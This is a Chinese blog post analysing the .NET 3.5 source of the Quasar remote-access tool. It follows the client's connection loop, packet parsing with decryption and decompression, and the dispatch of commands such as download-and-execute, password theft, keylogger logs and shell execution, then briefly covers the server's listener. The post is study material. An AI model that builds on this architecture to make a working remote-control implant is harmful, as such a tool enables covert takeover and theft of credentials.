首页 > 其他分享 >Quasar (.NET3.5)通信建立,持续更新中

Quasar (.NET3.5)通信建立,持续更新中

时间:2024-05-29 12:22:30浏览次数:32  
标签:NET3.5 packet Core ServerPackets Packets 更新 typeof Quasar type

Quasar (.NET3.5)通信建立

quasar 是一个知名的远控软件,这里解析它在.net3.5的版本。
3.5 可以解决windows的兼容性问题,
即:经过一些方法编译为特定的计算机代码,可以在windows7-windows11 的内存中加载执行

Client 端

初始化函数 Initialize()

包含一些系统参数的获取,以及初始化客户端的网络配置,这里重点关注网络初始化的配置!

位置:Program.cs => Main =>Initialize()

初始化网络配置 InitializeClient()

位置:Initialize()=>InitializeClient()

private static void InitializeClient()
{
    ConnectClient = new Client();
	//这里将所有的包类型都 封装了 Type[] 数组中,以便于后续解析网络包的时候,通过反射进行操作
    ConnectClient.AddTypesToSerializer(new Type[]
    {
        typeof (Core.Packets.ServerPackets.GetAuthentication),
        typeof (Core.Packets.ServerPackets.DoClientDisconnect),
        typeof (Core.Packets.ServerPackets.DoClientReconnect),
        typeof (Core.Packets.ServerPackets.DoClientUninstall),
        typeof (Core.Packets.ServerPackets.DoDownloadAndExecute),
        typeof (Core.Packets.ServerPackets.DoUploadAndExecute),
        typeof (Core.Packets.ServerPackets.GetDesktop),
        typeof (Core.Packets.ServerPackets.GetProcesses),
        typeof (Core.Packets.ServerPackets.DoProcessKill),
        typeof (Core.Packets.ServerPackets.DoProcessStart),
        typeof (Core.Packets.ServerPackets.GetDrives),
        typeof (Core.Packets.ServerPackets.GetDirectory),
        typeof (Core.Packets.ServerPackets.DoDownloadFile),
        typeof (Core.Packets.ServerPackets.DoMouseEvent),
        typeof (Core.Packets.ServerPackets.DoKeyboardEvent),
        typeof (Core.Packets.ServerPackets.GetSystemInfo),
        typeof (Core.Packets.ServerPackets.DoVisitWebsite),
        typeof (Core.Packets.ServerPackets.DoShowMessageBox),
        typeof (Core.Packets.ServerPackets.DoClientUpdate),
        typeof (Core.Packets.ServerPackets.GetMonitors),
        typeof (Core.Packets.ServerPackets.DoShellExecute),
        typeof (Core.Packets.ServerPackets.DoPathRename),
        typeof (Core.Packets.ServerPackets.DoPathDelete),
        typeof (Core.Packets.ServerPackets.DoShutdownAction),
        typeof (Core.Packets.ServerPackets.GetStartupItems),
        typeof (Core.Packets.ServerPackets.DoStartupItemAdd),
        typeof (Core.Packets.ServerPackets.DoStartupItemRemove),
        typeof (Core.Packets.ServerPackets.DoDownloadFileCancel),
        typeof (Core.Packets.ServerPackets.GetKeyloggerLogs),
        typeof (Core.Packets.ServerPackets.DoUploadFile),
        typeof (Core.Packets.ServerPackets.GetPasswords),
        typeof (Core.Packets.ClientPackets.GetAuthenticationResponse),
        typeof (Core.Packets.ClientPackets.SetStatus),
        typeof (Core.Packets.ClientPackets.SetStatusFileManager),
        typeof (Core.Packets.ClientPackets.SetUserStatus),
        typeof (Core.Packets.ClientPackets.GetDesktopResponse),
        typeof (Core.Packets.ClientPackets.GetProcessesResponse),
        typeof (Core.Packets.ClientPackets.GetDrivesResponse),
        typeof (Core.Packets.ClientPackets.GetDirectoryResponse),
        typeof (Core.Packets.ClientPackets.DoDownloadFileResponse),
        typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
        typeof (Core.Packets.ClientPackets.GetMonitorsResponse),
        typeof (Core.Packets.ClientPackets.DoShellExecuteResponse),
        typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
        typeof (Core.Packets.ClientPackets.GetKeyloggerLogsResponse),
        typeof (Core.Packets.ClientPackets.GetPasswordsResponse),
        typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
        typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
        typeof (Core.ReverseProxy.Packets.ReverseProxyData),
        typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
    });
   // 注册事件,后面将重点关注 ClientRead
    ConnectClient.ClientState += ClientState;
    ConnectClient.ClientRead += ClientRead;
    ConnectClient.ClientFail += ClientFail;
}      

注册ConnectClient 相关的事件

网络连接 1 Connect()

位置:Main=>Connect()

/// <summary>
/// 连接有四种状态:
/// 1,2. 重连 连接失败
/// 3.是否已经连接
/// 4.是否需要断连
/// </summary>
private static void Connect()
{
    // 需要重连 && 连接失败
    while (_reconnect && !SystemCore.Disconnect)
    {
        if (!_connected)
        {
            Thread.Sleep(100 + new Random().Next(0, 250));
            // 轮询所有的服务端ip池
            Host host = _hosts.GetNextHost();
            // ConnectClient 对象的 连接操作 稍后详细说明
            ConnectClient.Connect(host.Hostname, host.Port);

            Thread.Sleep(200);

            // 耗时操作是这里需要轮询 ip 池,
            // Application.DoEvents()让程序不会假死
            Application.DoEvents();
        }
        
        while (_connected) // hold client open
        {
            Application.DoEvents();
            //1000ms = 1s
            //2500ms = 2.5s
            Thread.Sleep(2500);
        }
        
        // 观测连接关闭操作位:退出连接
        if (SystemCore.Disconnect)
        {
            ConnectClient.Disconnect();
            return;
        }

        Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
    }
}

网络连接 2 Client.Connect(string host, ushort port)

位置:Main=>Connect()=>ConnectClient.Connect(host.Hostname, host.Port)

 public void Connect(string host, ushort port)
 {
     if (_serializer == null) throw new Exception("Serializer not initialized");

     try
     {
         Disconnect();
         Initialize();
         // socket 的 tcp 协议配置
         _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         _handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);

         _readBuffer = new byte[BUFFER_SIZE];
         _tempHeader = new byte[HEADER_SIZE];
         // ip 端口配置
         _handle.Connect(host, port);

         if (_handle.Connected)
         {
             // flag 解析
             //None:不使用任何标志。
             //OutOfBand:处理带外数据。
             //Peek:窥视(Peek)接收缓冲区中的消息,但不将其从缓冲区中删除。
             //DontRoute:发送数据时不使用路由表。
             //MaxIOVectorLength:用于指定发送和接收数据时使用的 WSABUF 结构的数量的标准值。
             //Truncated:消息太大,无法放入指定的缓冲区,并被截断。
             //ControlDataTruncated:控制数据无法放入内部 64 KB 缓冲区,并被截断。
             //Broadcast:指示广播数据包。
             //Multicast:指示组播数据包。
             //Partial:部分发送或接收消息。
             _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null);
             OnClientState(true);
         }
     }
     catch (Exception ex)
     {
         OnClientFail(ex);
     }
 }

重点关注 _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null)

讲解下 BeginReceive 这个函数的作用:

  1. 这个函数是异步的
  2. _readBuffer :接受数据的容器
  3. 0: 读取的起始位置
  4. _readBuffer.Length: 接受数据包的长度
  5. AsyncReceive:回调方法

现在我们需要往 回调方法走,看看到底做了什么

BeginReceive 的回调函数 AsyncReceive(IAsyncResult result)

private void AsyncReceive(IAsyncResult result)
{
    try
    {
        int bytesTransferred;

        try
        {
            bytesTransferred = _handle.EndReceive(result);

            if (bytesTransferred <= 0)
            {
                OnClientState(false);
                return;
            }
        }
        catch (Exception)
        {
            OnClientState(false);
            return;
        }

        byte[] received = new byte[bytesTransferred];
        Array.Copy(_readBuffer, received, received.Length);
        lock (_readBuffers)
        {
            _readBuffers.Enqueue(received);
        }

        lock (_readingPacketsLock)
        {
            if (!_readingPackets)
            {
                _readingPackets = true;
                ThreadPool.QueueUserWorkItem(AsyncReceive);
            }
        }
    }
    catch
    {
    }

    try
    {
        // 递归异步模式
        _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null);
    }
    catch (ObjectDisposedException)
    {
    }
    catch (Exception ex)
    {
        OnClientFail(ex);
    }
}

这里将接收到的buffer 放到队列里面,然后调用异步方法去做操作,下一步我们将去探究下

这里用了递归异步模式,高性能收包模式

解析包头的函数 AsyncReceive(object state)

位置:AsyncReceive(IAsyncResult result)=>AsyncReceive(object state)

private void AsyncReceive(object state)
{
    while (true)
    {
        byte[] readBuffer;
        lock (_readBuffers)
        {
            if (_readBuffers.Count == 0)
            {
                // 字节队列里面没有东西,关闭读取参数
                lock (_readingPacketsLock)
                {
                    _readingPackets = false;
                }
                return;
            }

            readBuffer = _readBuffers.Dequeue();
        }

        _readableDataLen += readBuffer.Length;
        bool process = true;
        while (process)
        {
            // 这里开始循环解析,包头+包体
            switch (_receiveState)
            {
                case ReceiveType.Header:
                    {
                        // 计算出 payloadLen的值
                        if (_readableDataLen >= HEADER_SIZE)
                        { // we can read the header                                    
                            int headerLength = (_appendHeader)
                                ? HEADER_SIZE - _tempHeaderOffset
                                : HEADER_SIZE;

                            try
                            {
                                if (_appendHeader)
                                {
                                    try
                                    {
                                        Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset,
                                            headerLength);
                                    }
                                    catch (Exception ex)
                                    {
                                        process = false;
                                        OnClientFail(ex);
                                        break;
                                    }
                                    // 小端序,字节转整数 ,这是自定义的
                                    // 一般tcp的解析都是大端序
                                    _payloadLen = BitConverter.ToInt32(_tempHeader, 0);
                                    _tempHeaderOffset = 0;
                                    _appendHeader = false;
                                }
                                else
                                {
                                    _payloadLen = BitConverter.ToInt32(readBuffer, _readOffset);
                                }

                                if (_payloadLen <= 0 || _payloadLen > MAX_PACKET_SIZE)
                                    throw new Exception("invalid header");
                            }
                            catch (Exception)
                            {
                                process = false;
                                Disconnect();
                                break;
                            }

                            _readableDataLen -= headerLength;
                            _readOffset += headerLength;
                            _receiveState = ReceiveType.Payload;
                        }
                        else // _parentServer.HEADER_SIZE < _readableDataLen
                        {
                            try
                            {
                                Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, _readableDataLen);
                            }
                            catch (Exception ex)
                            {
                                process = false;
                                OnClientFail(ex);
                                break;
                            }                                    
                            _tempHeaderOffset += _readableDataLen;
                            _appendHeader = true;
                            process = false;
                        }
                        break;
                    }
                case ReceiveType.Payload:
                    {
                        if (_payloadBuffer == null || _payloadBuffer.Length != _payloadLen)
                            _payloadBuffer = new byte[_payloadLen];

                        int length = (_writeOffset + _readableDataLen >= _payloadLen)
                            ? _payloadLen - _writeOffset
                            : _readableDataLen;

                        try
                        {
                            Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length);
                        }
                        catch (Exception ex)
                        {
                            process = false;
                            OnClientFail(ex);
                            break;
                        }

                        _writeOffset += length;
                        _readOffset += length;
                        _readableDataLen -= length;

                        if (_writeOffset == _payloadLen)
                        {
                            // 压缩启用控制符
                            if (encryptionEnabled)
                                // 解密
                                _payloadBuffer = AES.Decrypt(_payloadBuffer);

                            bool isError = _payloadBuffer.Length == 0; // check if payload decryption failed

                            if (_payloadBuffer.Length > 0)
                            {                                        
                                if (compressionEnabled)
                                    // 这里要有一层解压
                                    _payloadBuffer = SafeQuickLZ.Decompress(_payloadBuffer);

                                isError = _payloadBuffer.Length == 0; // check if payload decompression failed
                            }

                            if (isError)
                            {
                                process = false;
                                Disconnect();
                                break;
                            }

                            using (MemoryStream deserialized = new MemoryStream(_payloadBuffer))
                            {
                                IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
                                //  这开启内存触发了读包
                                OnClientRead(packet);
                            }

                            _receiveState = ReceiveType.Header;
                            _payloadBuffer = null;
                            _payloadLen = 0;
                            _writeOffset = 0;
                        }

                        if (_readableDataLen == 0)
                            process = false;

                        break;
                    }
            }
        }

        if (_receiveState == ReceiveType.Header)
        {
            _writeOffset = 0; // prepare for next packet
        }
        _readOffset = 0;
        _readableDataLen = 0;
    }
}

swtich 里面先根据 header 拿到 payload的长度

这里再根据payload的实际值,开辟内存,作为参数,调用OnClientRead(packet);

回到InitializeClient,关注ClientRead(Client client, IPacket packet) 处理

private static void ClientRead(Client client, IPacket packet)
{
    // 包 全部交由这个函数去处理
    PacketHandler.HandlePacket(client, packet);
}
public static class PacketHandler
{
    public static void HandlePacket(Client client, IPacket packet)
    {
        var type = packet.GetType();

        if (type == typeof(ServerPackets.GetAuthentication))
        {
            CommandHandler.HandleGetAuthentication((ServerPackets.GetAuthentication)packet, client);
        }
        else if (type == typeof(ServerPackets.DoDownloadAndExecute))
        {
            CommandHandler.HandleDoDownloadAndExecute((ServerPackets.DoDownloadAndExecute)packet,
                client);
        }
        else if (type == typeof(ServerPackets.DoUploadAndExecute))
        {
            CommandHandler.HandleDoUploadAndExecute((ServerPackets.DoUploadAndExecute)packet, client);
        }
        else if (type == typeof(ServerPackets.DoClientDisconnect))
        {
            Program.Disconnect();
        }
        else if (type == typeof(ServerPackets.DoClientReconnect))
        {
            Program.Disconnect(true);
        }
        else if (type == typeof(ServerPackets.DoClientUninstall))
        {
            CommandHandler.HandleDoClientUninstall((ServerPackets.DoClientUninstall)packet, client);
        }
        else if (type == typeof(ServerPackets.GetDesktop))
        {
            CommandHandler.HandleGetDesktop((ServerPackets.GetDesktop)packet, client);
        }
        else if (type == typeof(ServerPackets.GetProcesses))
        {
            CommandHandler.HandleGetProcesses((ServerPackets.GetProcesses)packet, client);
        }
        else if (type == typeof(ServerPackets.DoProcessKill))
        {
            CommandHandler.HandleDoProcessKill((ServerPackets.DoProcessKill)packet, client);
        }
        else if (type == typeof(ServerPackets.DoProcessStart))
        {
            CommandHandler.HandleDoProcessStart((ServerPackets.DoProcessStart)packet, client);
        }
        else if (type == typeof(ServerPackets.GetDrives))
        {
            CommandHandler.HandleGetDrives((ServerPackets.GetDrives)packet, client);
        }
        else if (type == typeof(ServerPackets.GetDirectory))
        {
            CommandHandler.HandleGetDirectory((ServerPackets.GetDirectory)packet, client);
        }
        else if (type == typeof(ServerPackets.DoDownloadFile))
        {
            CommandHandler.HandleDoDownloadFile((ServerPackets.DoDownloadFile)packet, client);
        }
        else if (type == typeof(ServerPackets.DoUploadFile))
        {
            CommandHandler.HandleDoUploadFile((ServerPackets.DoUploadFile)packet, client);
        }
        else if (type == typeof(ServerPackets.DoMouseEvent))
        {
            CommandHandler.HandleDoMouseEvent((ServerPackets.DoMouseEvent)packet, client);
        }
        else if (type == typeof(ServerPackets.DoKeyboardEvent))
        {
            CommandHandler.HandleDoKeyboardEvent((ServerPackets.DoKeyboardEvent)packet, client);
        }
        else if (type == typeof(ServerPackets.GetSystemInfo))
        {
            CommandHandler.HandleGetSystemInfo((ServerPackets.GetSystemInfo)packet, client);
        }
        else if (type == typeof(ServerPackets.DoVisitWebsite))
        {
            CommandHandler.HandleDoVisitWebsite((ServerPackets.DoVisitWebsite)packet, client);
        }
        else if (type == typeof(ServerPackets.DoShowMessageBox))
        {
            CommandHandler.HandleDoShowMessageBox((ServerPackets.DoShowMessageBox)packet, client);
        }
        else if (type == typeof(ServerPackets.DoClientUpdate))
        {
            CommandHandler.HandleDoClientUpdate((ServerPackets.DoClientUpdate)packet, client);
        }
        else if (type == typeof(ServerPackets.GetMonitors))
        {
            CommandHandler.HandleGetMonitors((ServerPackets.GetMonitors)packet, client);
        }
        else if (type == typeof(ServerPackets.DoShellExecute))
        {
            CommandHandler.HandleDoShellExecute((ServerPackets.DoShellExecute)packet, client);
        }
        else if (type == typeof(ServerPackets.DoPathRename))
        {
            CommandHandler.HandleDoPathRename((ServerPackets.DoPathRename)packet, client);
        }
        else if (type == typeof(ServerPackets.DoPathDelete))
        {
            CommandHandler.HandleDoPathDelete((ServerPackets.DoPathDelete)packet, client);
        }
        else if (type == typeof(ServerPackets.DoShutdownAction))
        {
            CommandHandler.HandleDoShutdownAction((ServerPackets.DoShutdownAction)packet, client);
        }
        else if (type == typeof(ServerPackets.GetStartupItems))
        {
            CommandHandler.HandleGetStartupItems((ServerPackets.GetStartupItems)packet, client);
        }
        else if (type == typeof(ServerPackets.DoStartupItemAdd))
        {
            CommandHandler.HandleDoStartupItemAdd((ServerPackets.DoStartupItemAdd)packet, client);
        }
        else if (type == typeof(ServerPackets.DoStartupItemRemove))
        {
            CommandHandler.HandleDoStartupItemRemove((ServerPackets.DoStartupItemRemove)packet, client);
        }
        else if (type == typeof(ServerPackets.DoDownloadFileCancel))
        {
            CommandHandler.HandleDoDownloadFileCancel((ServerPackets.DoDownloadFileCancel)packet,
                client);
        }
        else if (type == typeof(ServerPackets.GetKeyloggerLogs))
        {
            CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
        }
        else if (type == typeof(ServerPackets.GetPasswords))
        {
            CommandHandler.HandleGetPasswords((ServerPackets.GetPasswords)packet, client);
        }
        else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnect) ||
                 type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) ||
                 type == typeof(ReverseProxy.Packets.ReverseProxyData) ||
                 type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect))
        {
            ReverseProxyCommandHandler.HandleCommand(client, packet);
        }
    }
}

断点调试发现,服务端首先发送的是认证包,即走的这个判断

if (type == typeof(ServerPackets.GetAuthentication))
{
    CommandHandler.HandleGetAuthentication((ServerPackets.GetAuthentication)packet, client);
}

将系统信息发给客户端做判断,至此client 端 的网络请求便走通了

Server端

关注FrmMain_Load 的加载内容

private void FrmMain_Load(object sender, EventArgs e)
{
    // 初始化
    InitializeServer();
    // 监听
    AutostartListeningP();
}

初始化ConnectionHandler

private void InitializeServer()
{
    ConServer = new ConnectionHandler();

    ConServer.ServerState += ServerState;
    ConServer.ClientConnected += ClientConnected;
    ConServer.ClientDisconnected += ClientDisconnected;
}

开启端口监听

private void AutostartListeningP()
{
    // 自动监听 不懂
    // upnp 主要是为了端口映射
    if (Settings.AutoListen && Settings.UseUPnP)
    {
        UPnP.Initialize(Settings.ListenPort);
        ConServer.Listen(Settings.ListenPort);
    }
    else if (Settings.AutoListen)
    {
        UPnP.Initialize();
        ConServer.Listen(Settings.ListenPort);
    }
    else
    {
        UPnP.Initialize();
    }

    if (Settings.EnableNoIPUpdater)
    {
        NoIpUpdater.Start();
    }
}

标签:NET3.5,packet,Core,ServerPackets,Packets,更新,typeof,Quasar,type
From: https://www.cnblogs.com/hxdyjx/p/18219997

相关文章

  • 人人都是产品经理,尼恩产品经理面试宝典(史上最全、定期更新)
    文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录博客园版为您奉上珍贵的学习资源:免费赠送:《尼恩Java面试宝典》持续更新+史上最全+面试必备2000页+面试必备+大厂必备+涨薪必备免费赠送:《尼恩技术圣经+高并发系列PDF》,帮你实现技术自由,完成职业升级,薪......
  • Unity版本使用情况统计(更新至2024年4月)
    UWA发布|本期UWA发布的内容是第十四期Unity版本使用统计,统计周期为2023年11月至2024年4月,数据来源于UWA网站(www.uwa4d.com)性能诊断提测的项目。希望给Unity开发者提供相关的行业趋势作为参考。2023年11月-2024年4月版本分布  以近半年的数据统计来看,如图1所示,2021.3的版......
  • 淘宝死店全自动采集私信筛选脚本,号称日赚500+【采集脚本+使用教程】【5月26日更新】
    "淘宝死店全自动采集私信筛选脚本"是一种独特的网络赚钱方式,它通过自动采集长期未登录店铺的信息,然后自动发送私信给这些店铺,从而判断是否是死店,最后下单购买死店的产品,超过48小时不发货就可以联系客服获得赔付。每个订单的利润可以达到5%到30%,而且现在这个市场还是蓝海,有......
  • 空间组学邻域分析方法更新之BANKSY
    作者,EvilGenius最近分享了一些关于多组学的内容,其实就有人问我单细胞的数据能callsnp么?这个问题的答案是看情况,我们都知道单细胞数据的捕获原理,那么3‘数据是几乎不能callsnp的,唯有5'在某些情况下是可以的,例如前面分享的KRAS的G12D突变,就在单细胞5’数据的测序范围之内,就可......
  • MYSQL的默认事务隔离级别REPEATABLE-READ也会出现数据更新丢失问题
      本文为多年前自己进行的测试试验: publish:April13,2017-Thursday现转移到CSDN同时带上原个人博客网站中的评论内容。一、MYSQL的默认事务隔离级别REPEATABLE-READ也会出现数据更新丢失问题    今天的这个试验,主要是在考虑MYSQL的默认事务隔离级别REPEATABLE-R......
  • SpringBoot3.2更新声明!
    1从SpringBoot3.1升级1.1参数名称发现SpringBoot3.2使用的SpringFramework版本不再尝试通过解析字节码来推断参数名称。如果您在依赖注入或属性绑定时遇到问题,请务必检查您是否在编译时使用了-parameters选项。有关更多详细信息,请参阅"升级到SpringFramework......
  • Java八股文合集(2024年5月28持续更新)
    一、java基础1、java有哪几种数据类型?基本数据类型:byte(1),char(2),short(2),int(4),long(8),double(8),float(4),boolean(1)引用数据类型:各种类和接口,枚举,数组2、 面向对象和面向过程的区别?面向对象和面向过程都是一种开发思想。面向过程就是根据解决问题所需要的步骤,具体化的一步一步的去实现......
  • 购买课程,钱花销的一些问题(更新五天中go的路线)
    我觉得省点小钱把精力留给需要精力的事情是很有必要的,但是我认为需要掌握一定的决策技巧,虽然决策只能是相对完美受限经验,但不断增进知识可以家加深我们的理解这门课程:gogormgin博客rabbitmqprometheusdockeretcdgozerok8s面试题(后续其他技术随便找门课看看不一样吗)优......
  • mysql 存储过程返回更新前记录
    在数据库管理中,有时候我们需要在执行更新操作后,能够获取到更新前的数据记录,以便进行数据对比或者回滚操作。MySQL的存储过程可以帮助我们实现这一需求。本文将深入浅出地讲解如何通过MySQL存储过程获取更新前的记录,并提供具体的代码示例。什么是存储过程存储过程是预编译......
  • Kettle 自定义循环 & 更新变量值
    布局图 Setvariables JavaScript(循环逻辑)varmin=newNumber(parent_job.getVariable("MIN"));varmax=newNumber(parent_job.getVariable("MAX"));if(max>=min){true;}else{false;}JavaScript(更新循环条件)varmax=newNum......